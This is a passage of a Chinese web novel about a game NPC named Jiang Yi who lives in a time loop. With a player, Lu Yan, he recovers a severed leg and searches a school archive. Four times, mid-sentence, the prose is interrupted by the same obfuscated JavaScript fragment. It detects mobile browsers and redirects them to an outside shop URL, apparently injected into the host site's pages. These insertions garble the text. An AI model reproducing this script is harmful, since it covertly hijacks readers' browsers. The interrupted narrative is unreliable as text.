不等江亦回答，他已经迈开腿跑了出去，那光溜溜的脑袋在阳光下反着光。 江亦站在原地，总觉得有哪里不对。 他往四周看了看，那些玩家都盯着湖面，脸上是那种期待又兴奋的表情，他们不害怕，也不觉得恶心，就像在看一场有趣的表演。 也是，江亦想，对他们来说，这只是一场游戏而已。 秃驴很快扛着一根长长的竹竿跑回来，那竹竿少说有三米多，顶端还绑着一个铁钩。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244912|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给！”他把竹竿递给江亦。 江亦接过来试了试，有点沉，但还能拿得动，他走到湖边，把竹竿伸进水里，对准那团灰白色的东西。 钩子碰到那东西的时候，他感觉到一股阻力，像是真的卡在了什么东西上，他用力拽了拽，那东西动了动。 “动了动了！”人群中有人兴奋地大喊。 陆晏凑过来：“要不要我帮你？” 江亦没拒绝，把竹竿往他那边让了让。两人一起握住竹竿，同时用力。 那东西又松动了一点。 “再来一次。”江亦说。 两人又一起用力，这次那团灰白色的东西从淤泥里脱出来，缓缓往上升。 周围的玩家发出低低的惊呼声。 江亦没心思管他们，他盯着那团越来越近的东西，心跳莫名有些快。 那确实是一条腿。 从膝盖以下的部分，皮肤泡得发白，脚趾蜷缩着，指甲盖泛着青灰色。 江亦的手抖了抖，竹竿差点脱手。 “稳住稳住，”陆晏赶紧扶住竹竿，“马上就好了。” 两人一起用力，终于把那东西拖到岸边。秃驴和红毛跳进水里，一起把它抬了上来。 江亦退后几步，看着那截惨白的残骸躺在岸边的草地上，脑子里乱糟糟的。 他活了这么多年，从来没有见过这种场面，他蹲下来，忍不住干呕起来。 他姥姥的，早知道在玩家骚扰他的时候他就不乱说话了，江亦脑子迟钝地想。 “喂！你没事吧？”陆晏最先察觉到他的不对劲，有些慌张地问。 江亦摇摇头，没回答。 “任务完成了！”玩家们在旁边欢呼，“后续任务来了，将残骸送至医务室，走吧江亦同学，还得麻烦你陪我们走一趟。” 那个秃驴上前想将江亦拉起来，被陆晏阻止了，“他状态不太好，去不了。” 江亦看了秃驴一眼，在心里骂道，这是你们玩家的任务！跟我有什么关系！ 那秃驴不依不饶，“很明显他是关键人物啊，不带上他怎么行？” 其他玩家也纷纷附和。 江亦坐在地上缓了好久，他慢慢起身，表情重新恢复冷静地开口说：“走吧。” 去医务室的路上，江亦一直走在最前面，尽量不去看后面那几个抬着残骸的玩家。 陆晏跟在他旁边，时不时扭头看他一眼，“你脸色不太好。” 江亦没吭声。 “害怕？” 还是没吭声。 陆晏忽然伸手，在他眼前晃了晃：“喂，回神。” 江亦停下脚步，蹙眉看他。 陆晏收回手，插回兜里，语气随意得像在讨论天气：“这个游戏道具做得也不逼真啊，怎么吓成这样？” 江亦愣了愣，是啊，对他们来说，这只是个游戏道具。 但他不一样，他活在这个世界里，这些东西对他来说是真实的。 他忽然有点想笑。 一个npc，比玩家更害怕游戏里的尸体，这算什么道理？ 医务室在教学楼一层的最东边，门口挂着一块白色的牌子，江亦敲了敲门，没人应。 “我看了工作日历，校医周四不上班。”有人开口说。 “那怎么办？这腿丢在这里先？” 江亦闻言下意识地瞥了一眼躺在地上的腿，随即蹙紧眉头，这腿怎么突然变成一坨马赛克了？？ 5. 陆晏为爱砸鸡蛋 江亦闭上眼睛，又睁开，又闭上，再睁开，还是没有变化，原本那泡得发大青白的腿变成了一坨马赛克。 什么鬼？？他扫了一圈，发现没有人觉得有异样，他戳了戳陆晏，“你看那条腿。” 话音刚落，所有玩家立马将目光投向两人。 “又有剧情了吗？” “腿怎么了？细嗦！” 江亦：“……” 他又扭头不说话了，看来真的只有他能发现这个变化。 “咋了？这腿怎么了吗？”陆晏凑上来问，他抬手替江亦遮挡了一下视线，“你别一直盯着这腿看了，脸都吓白了，可怜兮兮的。” 其他玩家们一下子全涌了上来，陆晏还没来得及反应就被推开，玩家将江亦团团围住，“怎么话说一半就不说了呢？腿到底咋了你快说啊！急死人了！” “就是啊，快说啊！” 江亦被围在中间，无措地看向大家，他抿紧嘴唇不说话，玩家什么的，果然讨厌死了…… 见他一直不说话，有玩家忍不住上手拉扯，江亦吓了一跳，连连往后退，一直退到医务室的门前，被压在门上。 身后是冰凉的木门，身前是咄咄逼人的非主流杀马特，江亦呼吸一窒，僵在原地。 ［npc江亦好感度-50］ ［npc江亦感到十分恐慌。］ ［npc江亦有失控的风险，系统将采取隔离措施。］ 下一秒，玩家们像是被人大力推开一样，全都被推到离江亦一米远的地方，怎么也无法再往前一步。 江亦迷茫地看着大家张张合合的嘴巴，玩家不仅无法再靠近江亦，就连说话的声音江亦也听不见了。 这一变动让不但没让江亦放下心来，甚至更加惊慌失措了，他试探性地抬脚朝前走了一步，玩家们被挤着往后退了一步。 什么意思？玩家们不能再靠近自己了吗？江亦懵懵地看着大家。 玩家们看起来依旧很吵闹，只是江亦听不见了，在安静数秒后，江亦的耳边突然传来一道熟悉的声音。 “凭什么！！凭什么！！我啥都没干凭什么我也要被扣好感度！！！” “我不服！！我要申述！我要申述啊啊啊！策划你爸死了！！气死我了！” “还有你们这群臭吊毛！！没看到人家不想说吗？！就非得逼人家说，现在好了！你们还我老婆！！” 江亦顺着声音看去，只见陆晏正怒气冲冲地在空中狠狠地按着什么，随后他的手里凭空多出了几个番茄鸡蛋。 陆晏拿着鸡蛋见到人就砸，玩家们顶着一脸的鸡蛋液抱头鼠窜。 看着眼前这荒唐的一幕，以及气得面红耳赤的陆晏，江亦忽然觉得好笑，噗嗤一声笑了出来。 “诶？好感度回来了？”陆晏停了下来，他疑惑地抬头看，便看到站在不远处，笑意盈盈的江亦。 这是陆晏第一次看到他笑，眼睛弯弯的，亮亮的，嘴边还有两个小梨涡，一笑起来让本来就精致的脸蛋越发明艳生动了起来。 漂亮得简直不像话，陆晏脸上一点表情都没有地狂按截图键。 被闪光灯闪得眼睛都睁不开的江亦：“。。。” 真是够了。 等江亦从闪光灯里缓过来的时候，那群花花绿绿的玩家已经跑得没影了，只剩下那坨诡异的马赛克腿和一个手里捏着几个番茄，呆呆地看着他的陆晏。 他指了指番茄，问：“这个怎么没砸？” 陆晏回过神来，将番茄塞给他，理所当然地说：“你不是喜欢番茄吗？这个是送给你的！” “……谢谢。” 江亦确实喜欢番茄，准确来说是喜欢红色的东西，他尝不出味道，只能分辨颜色，他喜欢红色，所以也爱屋及乌喜欢红色的食物，只是没想到陆晏居然能猜到…… “好感度+5！你果然很喜欢番茄！这次终于送对了。”陆晏开心地喊。 江亦：“……” 那好感度检测器肯定是坏了！他抱着番茄，耳尖冒着热气地大步逃走。 陆晏站在原地，呆愣地看着江亦愤然离去的背影，不解地挠头，怎么又生气了？ 现在已经快下课了，江亦索性直接去了饭堂，今天周四，饭堂会有他喜欢吃的红烧肉。 食堂里人很多，江亦端着餐盘找了个角落的位置坐下，刚拿起筷子，对面就坐下一个熟悉的身影。 “好巧啊江亦同学！”陆晏笑眯眯地说，“你也来食堂吃饭？” 江亦看了看四周空着的十几个座位，又看了看眼前这个人，沉默地低下头继续吃饭。 陆晏也不介意他的冷淡，自顾自地去打了饭，端回来坐在他对面，叽叽喳喳地和他吐槽。 “这游戏的食物也太贵了，一碗饭两百块钱，居然才加二十点体力，怎么不去抢啊。” 夺少？两百？！江亦震惊抬眼，他记得明明才两块钱而已啊，难道玩家的价格和npc的不一样？ 江亦怜悯地看了陆晏一眼。 “对了，我还不知道你叫什么名字呢。”江亦突然想起来，这个人好像一直没有做自我介绍来着。 陆晏托着下巴思考，“我还没起名呢，等我想想啊……有了，我叫被江亦扇巴掌后狂舔他的手！” “？？？”江亦大受震撼。 ［npc江亦好感度-1］ 不是吧？起个名字都降好感度？脾气真坏！陆晏目瞪口呆地看着系统提示信息，回档回档！ 江亦眼睁睁看着面前的陆晏突然僵住，表情凝固在脸上，像被按了暂停键。 然后—— 周围的同学开始倒退走路，逆着人流，面无表情地往后迈步，在吃饭的同学从嘴里吐出一口完整的饭。 江亦眨了眨眼，倒退的人群从他身边流过，又流回原来的位置。 等一切恢复正常时，陆晏坐在他面前，表情无比认真地说：“其实我叫‘我是亦宝的狗’！你可以喊我宝宝或者狗狗。” 江亦：“……” 他看了看周围，同学们该走路的走路，该说话的说话，该吃饭的吃饭，好像刚才那场集体倒退从来没发生过。 所以刚才那是……回档了？ 江亦沉默了两秒。 虽然他早就知道这是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244913|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏，但亲眼看见玩家操作，还是让他有点恍惚。 等等，这人回档就是为了改个名字？ 改成我是亦宝的狗？？ 江亦不理解，江亦大受震撼，不过这个名字比上一个好一点，所以他接受了。 “你不叫我名字吗？”陆晏看起来有些失望，他试图讲道理，“我都天天喊你名字，礼尚往来你是不是也应该喊我名字？” 礼尚往来是这么用的吗！江亦无力吐槽，看着陆晏期待的目光，半晌才开口：“快吃吧小蓝。” 刚换了一头蓝毛形象的陆晏乐了，“可我不叫小蓝。” “你现在叫了。”江亦不容置疑地说，不等陆晏回答，他便转移话题道，“那条腿就这样丢在医务室吗？” 明天医生上班过去发现门口有条人腿会被吓死的吧…… “没有啊，我放背包里了。”陆晏一边说着一边开始掏书包，“你要看看吗？” 江亦连忙阻止，“不用拿出来给我看了，你自己放好就行了。” 虽然江亦觉得这么小的书包应该装不了这么大一条腿，但他不敢赌，怕一质疑陆晏会立马掏出来给他看。 “好吧。”陆晏遗憾地放下书包，“我还特意氪金给它刷成粉红色来着，你真的不看看吗？” “……不了。”江亦嘴角抽了抽。 神经病吧，谁家好人把人家的腿刷成粉红色啊喂！ “对了，你们学校有没有校园霸凌之类的事情啊？”陆晏将嘴里的东西咽下去问。 江亦有些诧异：“怎么了吗？” “一般学校里的命案不都是什么校园霸凌啊，学习压力啊，宿舍矛盾之类的吗？” 江亦努力回想，像他这种普通npc能接触到的剧情并不多，他摇了摇头，“没有。” “那就有点难办了，一点线索都没有，这让人怎么查啊。”陆晏叹了一口气。 江亦沉思片刻，“你可以先从这具尸体的身份开始查起，档案室里有所有学生的档案。” 他说完就有点后悔了，档案室这种地方，他循环了这么久从未踏足过，那地方在教学楼五层的最东头，常年锁着门，钥匙在教导主任手里。 而教导主任……江亦回想起那个凶巴巴，大腹便便的中年大叔，他打了个寒颤。 “档案室？好主意！”陆晏眼睛亮了，“你简直就是天才！我们现在就去？” “……现在？”江亦看了看餐盘里还剩一半的红烧肉，“我还没吃完。” “那你快点吃。”陆晏撑着下巴看他，一副耐心十足的样子。 江亦被他盯得食不知味，随便扒拉了两口就放下了筷子。 两人走出食堂的时候，江亦发现人工湖边的人少了很多，只剩下零星几个玩家还在那里徘徊。 “他们不去调查吗？”江亦有些好奇。 陆晏顺着他的目光看过去，随口道：“后续任务需要特定NPC……呃，特定的人才能触发，他们又触发不了，留在那里也没用。” 特定的人啊……江亦眯了眯眼睛，那为什么最后变成他掺和进来了？他不是普通npc吗？ 6. 负心汉 两人一同前往档案室，途中下课铃声响起，江亦停在原地。 “怎么了？”陆晏奇怪地问。 “下课了，我要回家了。”江亦转身离开。 他可以乱说话乱走，但其他人不行，如果他没能在规定的时间回家，那今天后面的剧情就没办法进行了，今天他还要帮李爷爷修剪橘子树呢。 陆晏追了上去，拉住他，“晚回一天也没事吧？你忍心看我一个人无依无靠，孤苦伶仃的去档案室吗？” “忍心。”江亦回答得毫不犹豫。 陆晏拿出手帕一边擦了擦不存在的眼泪，一边控诉：“负心汉！” “……”哪里来的手帕？ 江亦盯着那块凭空出现的手帕，眼角抽了抽。 手帕是白色的，边缘绣着一圈小花，一看就是那种新手大礼包里的初始道具。 陆晏表情委屈地咬着手帕，眼睛直勾勾地看着他，那表情分明在说：快心软快心软快心软。 江亦没心软，他绕开陆晏，继续往校门口走。 “喂！”陆晏追上来，手帕不知道什么时候消失了，“你真的忍心吗？我一个人去档案室，万一遇到什么危险怎么办？” “不会的。” “怎么不会？那条腿还在我背包里呢，万一它的主人来找我索命怎么办？” 江亦脚步顿了顿，扭头看他：“你怕鬼？” “当然怕啊，人家胆子小小嘟。”陆晏眨巴眨巴眼，卖萌道。 江亦面无表情做了一个呕吐的动作，一个蓝毛壮汉卖萌属实有点辣眼睛。 他懒得再理这个人，加快脚步往校门口走。 陆晏跟在他旁边，一路喋喋不休，一会儿说档案室肯定有线索，一会儿说那条腿泡得那么白肯定死了很久，一会儿又说食堂的饭太贵了能不能借点钱。 江亦充耳不闻，只一味地加快速度，走到最后两人都跑了起来。 一直跑到校门口，江亦迎面撞上同班的那个秃驴，下一秒那个秃驴被弹飞到一米远的地方，江亦也被陆晏拉到身后。 秃驴骂骂咧咧地站起来，“这个游戏也太护着npc了吧，明明是他主动碰我，凭啥被弹飞的是我啊？？” 江亦根本听不到他在说什么，只能从他的表情中判断不是什么好话，他捏紧书包带子，小声说了句：“抱歉。” “抱个鸡毛，谁让他走路不长眼。”陆晏冷呵一声，他轻轻扯着江亦的书包，将人扯走。 江亦乖乖地被他扯走，走到一半，他拍开陆晏的手，一脸冷漠地开口：“好了，你该离开了。” “啊？！”陆晏不可置信地抖着手指向他，“江小亦！你就这样拔x无情！用完就丢！是谁刚才救你于水火之中！你忘记了吗！” 江亦无语地问：“是谁追我然后导致我撞到别人的？” “这个你别管！”陆晏大手一挥，理不直气很壮地说。 江亦翻了个白眼，没理会他，再不快点回去真的赶不上修剪橘子树的剧情了，他有些着急地往家里赶。 陆晏在他身后紧紧跟着，生怕走丢。 五点三十分，江亦气喘吁吁地站在李爷爷的门口，听到李爷爷那句熟悉的台词：“这橘子树怎么越长越难看了，要是我还有力气就能修剪一下了。” 江亦调整一下呼吸，面带微笑地走进去，像往常一样开口：“李爷爷，你不介意的话我来帮你吧。” “谢谢你啊小亦，真是帮大忙了。”李爷爷大喜过望地将剪刀递给他。 江亦拿着剪刀对着树随意地咔擦几刀，这些树啊草啊都是固定形象的，就算他剪到只剩下一个花盆第二天也会立马重新长回原来那样。 江亦剪完最后一根枝条，将剪刀还给李爷爷，按照剧情流程，接下来李爷爷会夸他几句，然后从屋里拿出一盒点心送给他。 果然，李爷爷接过剪刀，笑呵呵地拍了拍他的肩膀说：“小亦真是个好孩子，剪得真好，来来来，爷爷这儿有点心，你带回去吃。” 江亦接过那盒包装熟悉的点心，道了谢，转身准备离开。 一出门就看到陆晏蹲在院子门口，双手托腮，眼巴巴地望着他，跟一只等待投喂的流浪狗一样。 江亦脚步顿了顿，走过去，从点心盒里拿出一块递给他。 陆晏眼睛一亮，接过点心塞进嘴里，含糊不清地说：“为什么你每次给的东西都能加这么多体力？我自己买的或者从垃圾桶里翻到的都加得很少。” 我怎么知道……江亦没理他，继续往家走。 陆晏跟上来，一边嚼一边说：“你刚才剪那几刀也太敷衍了吧？就那么随便咔擦几下，树都没变样，李爷爷居然还夸你？” “你懂什么。”江亦平静道。 他懒得解释这些树每天都会恢复原状的事情，反正解释了陆晏也理解不了。 走到单元门口，江亦停下脚步，侧身看向陆晏，“我要回家了，你还不走吗？” 陆晏抬头看了看面前的居民楼，又看了看江亦，问：“你家住几楼？” “六楼。” “没有电梯？” “没有。” 陆晏的表情垮了下来：“那怎么上去？” “走上去。”江亦用一种看傻子的眼神看着他。 陆晏指了指自己，“那我能上去吗？” 江亦想了想，昨天陆晏被挡在小区门口，今天却跟到了单元门口，说明好感度提升后，玩家的活动范围会扩大。 但现在他对陆晏的好感度是多少来着？他记得下午的时候加了五点，后来陆晏起名字又扣了一点，被玩家围住的时候应该扣了不少，但后来又加回来了…… 江亦算不明白，干脆不想了，直接抬脚走进单元门。 陆晏跟在后面，试探性地迈上第一级台阶。 没被挡住，能走。 他又迈上第二级，第三级…… 一直走到六楼，江亦掏出钥匙开门的时候，陆晏还站在他身后，一脸兴奋：“我上来了！我居然上来了！看来以后可以进你家了！” 江亦惊讶地看了陆晏一眼，没说话，用钥匙打开门进去，但很快他就听到了外面传来一声哀嚎：“又进不去！这破游戏的门槛也太高了吧！” 他嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244914|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角微微上扬，换好拖鞋走进屋里。 “小亦回来啦？”蓝头发的年轻女子从厨房探出头来，“今天怎么有点晚？” “帮李爷爷剪了剪橘子树。”江亦把点心盒放在桌上。 “哎，李爷爷又送点心了？真是的，每次都这么客气。”江妈妈擦着手走出来，“对了，你饭盒呢？我找了半天都没找到。” 江亦动作僵了一下，饭盒……被陆晏吃了，还没还回来。 “忘在学校了。”他面不改色地说。 “你这孩子，怎么这么马虎。”江妈妈嗔怪地看了他一眼，“明天记得带回来啊。” “嗯。” 江亦回到自己房间，关上门，躺在床上望着天花板。 今天发生的事情太多了，多得让他有点消化不过来。 那条泡得发白的人腿，那群吵吵嚷嚷的玩家，还有那个一直黏在他身边的奇怪的玩家…… 江亦翻了个身，把脸埋进枕头里，明天那个人还会来吗？ 肯定会来的吧。 他叹了口气，有些烦恼，又有些说不清道不明的期待。 第二天早上，江亦推开单元门，果然看到陆晏蹲在花坛边。 和昨天不同的是，他手里拿着一根油条，正津津有味地啃着。 看到江亦出来，陆晏立刻站起来，举着油条朝他晃了晃，“早啊江亦同学！我给你带了早餐！” 江亦看了一眼那根油条，上面沾着可疑的灰烬，迟疑地问：“……垃圾桶捡的？” “怎么可能！”陆晏一脸受伤，“我氪金买的！花了五十块呢！” 江亦接过油条，咬了一口，松软咸香的味道充斥着整个口腔。 他表情停滞，瞳孔地震地看着手里的油条，仿佛看到了什么怪物一样。 味道……他居然尝出了味道？！为什么？！ “你怎么这种表情？你现在走的不会以前从来没有吃过油条，然后突然一吃觉得惊为天人的剧情吧？” 陆晏说完恍然大悟地点了点头，“原来如此，我懂了，那我的台词是什么？” “……神经病。”江亦收敛情绪，他试探性地又咬了一口，依然能尝出味道。 这不对劲，他吃了这么久的没有味道的饭，早就习惯了，可现在，油条的咸香酥脆真实得让他头皮发麻。 “喂，”陆晏凑过来，脸几乎要贴到他面前，“你表情真的好奇怪，是不是油条有问题？” 江亦往后退了一步，把油条塞进嘴里，三两口吃完，“走吧，要迟到了。” “诶？”陆晏愣了愣，“我的台词呢？你不应该感动地说‘谢谢你，这是我吃过最好吃的油条’，然后我霸气地说‘只要你喜欢，我可以给你买一辈子油条’吗？” “没这剧情。”江亦转身就走，脚步比平时快了几分。 两人快走到校门口时，江亦远远就看见那群彩虹战队杵在门口，一见到他，那群人时间眼睛冒光，朝他的方向走了过来。 江亦疑惑地停下脚步，陆晏见状将他护在身后，插着兜吊儿郎当地开口：“怎么，你们又想吃鸡蛋了？” 7. 好狗狗 那群人走到江亦一米远的地方停下来，几个人推推嚷嚷将其中一个紫毛推了出来。 紫毛在书包里掏了半天，掏出个红苹果，扭扭捏捏地开口：“江同学，这个送你。” 有他做开头，其他几人也纷纷跟上，从书包里拿出早已准备好的礼物递向江亦。 江亦望着眼前一片红彤彤的礼物，一时之间不知道该做出什么反应才好，他听不到他们说了什么，但能猜到这群人应该是在为昨天的事情道歉。 大家没办法靠近江亦，只能委托陆晏帮忙把礼物拿给江亦。 陆晏冷笑：“求我，我也不帮。” 帮你们送礼物给我老婆刷好感度？我神经病吧。 江亦从陆晏身后走出来，顿了一下，小步往玩家们蹭过去，走到离玩家50cm距离后，他再上前玩家们就会集体后退。 “加15点好感就能靠近50cm啊，好值哦。”有玩家感慨道。 江亦歪了歪头，又能听到了…… 见他没办法再靠近，而陆晏又不肯帮忙，玩家们只好将礼物都轻轻放在地上，然后退后等江亦去拿。 江亦的书包就是普通的书包，跟玩家们的背包不一样，放不下这么多东西，他将求救的目光投向陆晏。 那人却别开脸，冷哼道：“你喜欢他们就让他们帮你好了，看我干嘛。” “哦……”江亦站起身，抬脚准备走向紫毛，刚迈开腿就被拉住。 陆晏气急败坏地说：“你就不能说点好听的话哄哄我吗！你哄哄我，我能不帮你吗！” 他跳脚完后又任劳任怨地帮江亦收拾好地上的东西。 江亦站在旁边看着他蹲在地上，一件一件地把礼物塞进背包里，嘴里还不停地嘟嘟囔囔的抱怨着。 “苹果，草莓，番茄……我靠，这谁送的！抄袭我，可恶！” “怎么全是红色的东西，把我老婆当红色收集器了吗？！” “围巾？大夏天送什么围巾，简直有毛病，我就说这群人是神经病吧！” “巧克力？还是爱心形状的？！这个收走，别想进我老婆的嘴里！！” 听着他的絮絮叨叨，江亦嘴角不自觉地勾了勾，他在心里想，不能把巧克力给陆晏吃，因为狗狗不能吃巧克力。 等陆晏把全部东西收拾完，站起来时，正好捕抓到这抹转瞬即逝的笑容。 “你笑什么？”陆晏狐疑地凑过来，“你在笑我吗？” “没有。”江亦立刻收起笑容，神色自若地走进学校。 “明明就有！我都看到了！”陆晏追了上来，绕到他面前，“再笑一个呗，刚才我都没截到图。” 江亦绕开他，继续往前走。 陆晏再次追了上来，他这次直接拦住江亦，双手撑开，像只张开双臂的公鸡，“笑一个嘛笑一个嘛，你不笑我就不让你走了。” 江亦停下来抬头看向陆晏，过了一会儿，他上前两步，凑近了一些。 陆晏呆愣地和他对视，阳光从江亦身后照过来，在他身上镀了一层淡金色的光晕，看着那张过分好看的脸近在咫尺，陆晏感觉脑袋晕乎乎的。 许久，他听见江亦轻笑着开口说：“好狗狗别挡道。” 我草？？ 我草！！！ 陆晏捂着乱跳的心脏，痛心疾首道：“我没录屏啊啊啊啊啊啊啊！！” “……”傻狗。 江亦心情很好的往教室走，身后传来陆晏的欢呼声。 “好感度终于变成0了！好耶！” 这有什么好高兴的，真是不懂你们玩家，江亦脸颊温热地想。 陆晏站在原地回味了许久才跟上来，“你跑这么快干嘛啊？” “上课啊，要迟到了。” “上什么课啊！不是说好一起去档案室的吗？”陆晏拉住他的手往反方向走。 对哦，差点忘记这事了，江亦任由他拉着自己走，两人一起走到档案室。 档案室此时正被一把破旧的锁给锁着，江亦正思考怎么把钥匙偷到手时，就见陆晏从背包里拿出一把铁锤以及一根铁丝。 江亦：……嗯？ “你是打算砸开还是撬开？” “都试试呗，”陆晏拿着铁丝跃跃欲试，“这游戏玩家自带开锁技能，不过我才一级而已，能成功撬开概率为二十分之一，撬不开就砸开。” “那你要试多少次才能打开？”江亦问。 “不知道，看脸。”陆晏把铁丝插进锁孔，捣鼓了两下。 “咔擦”一声，锁开了，两人同时愣住。 陆晏低头看了看手里的铁丝，又看了看那把被打开的锁，表情茫然道：“啊？这就打开了吗？一次中招？好耶！看来今天是好运天。” “厉害厉害。” 江亦很不走心地夸赞一句，他抬脚率先走了进去，陆晏紧跟其后。 刚走进去，就听到走廊尽头穿来一声怒喝：“谁在那边！” 江亦心里一紧，下意识地想跑，却被陆晏一把拉住，“别跑，跑了他会追。” “我们进去，把门关上。”陆晏拉着他快速进入档案室，然后把门带上。 档案室里光线昏暗，空气中弥漫着一股陈旧纸张的味道，一排排铁皮柜整齐排列着，柜门上贴着年份标签。 江亦被他拉着躲到最里面的角落，两人挤在一排柜子后面，屏住呼吸。 脚步声越来越近…… “奇怪，刚才明明看到有人影的……”教导主任的声音隔着门传来，“这门怎么没锁？” 闻言，江亦的心瞬间提到了嗓子眼。 门被推开，光线从门口透进来，在地上投下一道长长的影子。 教导主任走了进来，在门口站了几秒，然后开始往里面走。 一步，两步，三步…… 江亦死死盯着那道越来越近的影子，手心里全是汗，他被教导主任逮住顶多挨顿骂，但陆晏是玩家，万一被抓住，触发了不好剧情怎么办？ 而陆晏丝毫不慌，甚至还有心情跟江亦开玩笑：“你说我们现在像不像电视剧里那种躲起来偷吃嘴子然后被发现的小情侣啊？” 江亦：“…………” 他为什么要担心一个神经病的安危…… “别担心，哥很有担当的，要是被抓了我就一口咬死是我勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244915|197852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引你的。”陆晏乐呵呵地说。 江亦啧一声，实在气不过，回头给了他一个肘击，“你安静点！” “别这么紧张嘛，他发现不了的。”陆晏凑上来替他揉了揉手肘。 “为什么？” “没有为什么，按照剧情发展，他一般发现不了。”陆晏理所当然地说。 “……” 教导主任在离两人还有一步之遥时，门外突然发生打架的动静，听到动静的教导主任急忙丢下这边的事情跑了出去。 档案室重新恢复安静。 “怎么样，我就说发现不了吧哼哼！”陆晏得意洋洋地抬了抬下巴。 江亦无语地撇了撇嘴，他从柜子后面出来，拍了拍身上的灰尘。 他走到最近的一排柜子前，上面写着“3019-3020”。 “你要找哪一年的啊？”他回头问陆晏。 陆晏正蹲在地上，从背包里掏出那条粉红色的腿平放在地上。 江亦看着那坨粉红色的马赛克，眼皮跳了跳，“你把这个拿出来干嘛？” “看看这玩意是近期丢的还是老古董啊。”陆晏语气十分正常地说。 “那你看出来了吗？” “没有，但是系统提示说这截残骸的切口很整齐，像是被利器切断的，而且从腐烂程度看，死亡时间应该在两三年之间。” 陆晏盯着那条腿托着下巴，“所以我们要找的是两到三年前失踪的学生。” “两到三年前……”江亦走到贴着“3021-3022”标签的柜子前，拉开抽屉。 里面整整齐齐放着一排排档案袋，每个袋子上写着学生的姓名和班级。 江亦的手指从那些名字滑过，一个个陌生的名字，一张张陌生的脸…… 等等。 他抽出其中一个档案袋，上面写着：高三六班，林巧。 “怎么了？”陆晏挤了过来问。 江亦盯着那张照片，照片上是一个清秀的女生，扎着马尾，笑起来有两个浅浅的梨涡。 “这个人……”他皱起眉头，“我好像见过。” “你见过？”陆晏立刻来了精神，“在哪里见过？” 江亦努力回想，但他的记忆被一百多次循环搅得有些混乱，很多面孔突然都被模糊成了一团。 “想不起来了。”他摇了摇头，“但这个名字和这张脸，我觉得很熟悉。” 陆晏接过档案袋，翻开看了看，“林巧，两年前转学来的，入学三个月后失踪，失踪原因不明，警方介入调查，最后不了了之。” 他抬头看向江亦，“你确定你见过她吗？两年前你就在这所学校读书了吗？你今年才高二上学期啊。” 江亦张了张嘴，他没办法跟陆晏解释循环的事情，“我不确定……那可能是我记错了吧。” 陆晏若有所思地看了他一眼，忽然伸手摸了摸他的头发，“想不起来就算了，反正已经有线索了。” 江亦拍开他的手，“不准摸我的头。” “好好好，不摸了不摸了。”陆晏收回手，但视线一直黏在他身上，“其实你冷脸也别有一番风味。”